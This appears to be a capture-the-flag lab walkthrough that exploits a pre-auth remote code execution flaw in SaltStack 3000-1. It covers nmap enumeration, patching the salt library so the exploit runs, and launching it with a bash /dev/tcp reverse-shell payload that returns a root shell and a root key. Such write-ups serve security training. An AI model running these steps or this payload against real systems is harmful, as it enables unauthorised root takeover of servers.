TL;DR
- exploit a pre-auth RCE vulnerability on a
SaltStack master
Enumeration
Let’s begin with a simple nmap scan.
kali@kali:~$ sudo nmap -p- 192.168.120.121Nmap scan report for 192.168.120.121Host is up (0.0011s latency).Not shown: 65530 filtered portsPORT STATE SERVICE22/tcp open ssh53/tcp open domain80/tcp open http4505/tcp open unknown4506/tcp open unknown8000/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 105.30 secondsPorts 4505 and 4506 are open. Let’s run a more detailed scan.
kali@kali:~$ sudo nmap -p 4505,4506 192.168.120.121 -sVStarting Nmap 7.91 ( <https://nmap.org> ) at 2020-12-21 15:21 ESTNmap scan report for 192.168.120.121Host is up (0.030s latency).
PORT STATE SERVICE VERSION4505/tcp open zmtp ZeroMQ ZMTP 2.04506/tcp open zmtp ZeroMQ ZMTP 2.0Port 8000
Next, we’ll run curl in verbose mode against port 8000.
kali@kali:~$ curl -Il http://192.168.120.121:8000
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Mon, 21 Dec 2020 20:36:04 GMTContent-Type: application/jsonContent-Length: 146Connection: keep-aliveAccess-Control-Expose-Headers: GET, POSTVary: Accept-EncodingAllow: GET, HEAD, POSTAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: *X-Upstream: salt-api/3000-1The response reveals that a SaltStack Rest API is listening on that port:
X-Upstream: salt-api/3000-1Exploitation
Based on the version listed in the header (3000-1) we discover an available remote code execution exploit.
Once we download the exploit, we discover that salt doesn’t support Python 3.8 and Kali won’t let us install packages under Python 3.7. Let’s tweak the exploit to address this issue.
kali@kali:~$ python3 -m venv env...kali@kali:~$ . ./env/bin/activate(env) kali@kali:~$ pip install distro salt...(env) kali@kali:~$ sed -i 's/from platform import _supported_dists//' ./env/lib/python3.8/site-packages/salt/grains/core.py(env) kali@kali:~$ sed -i 's/_supported_dists +=/_supported_dists =/' ./env/lib/python3.8/site-packages/salt/grains/core.pyNow we can start a netcat listener on port 4505 and launch the exploit.
(env) kali@kali:~/machines/twiggy$ python3 exploit.py 192.168.120.121 master 'bash -i >& /dev/tcp/192.168.118.2/4505 0>&1'/home/kali/env/lib/python3.8/site-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated since Python 3.3, and in 3.9 it will stop working class HTTPHeaders(collections.MutableMapping):Attempting to ping master at 192.168.120.121Retrieved root key: 8tnPuz4Fk+nH4c2CVW3/1BBbWofubqMZGJ1gkEkiB6WzlnyqQ7muDw3dbtKNwTMjUU6IcNFD9VY=Got response for attempting master shell: {'jid': '20200518074808085260', 'tag': 'salt/run/20200518074808085260'}. Looks promising!This grants us a reverse shell as root.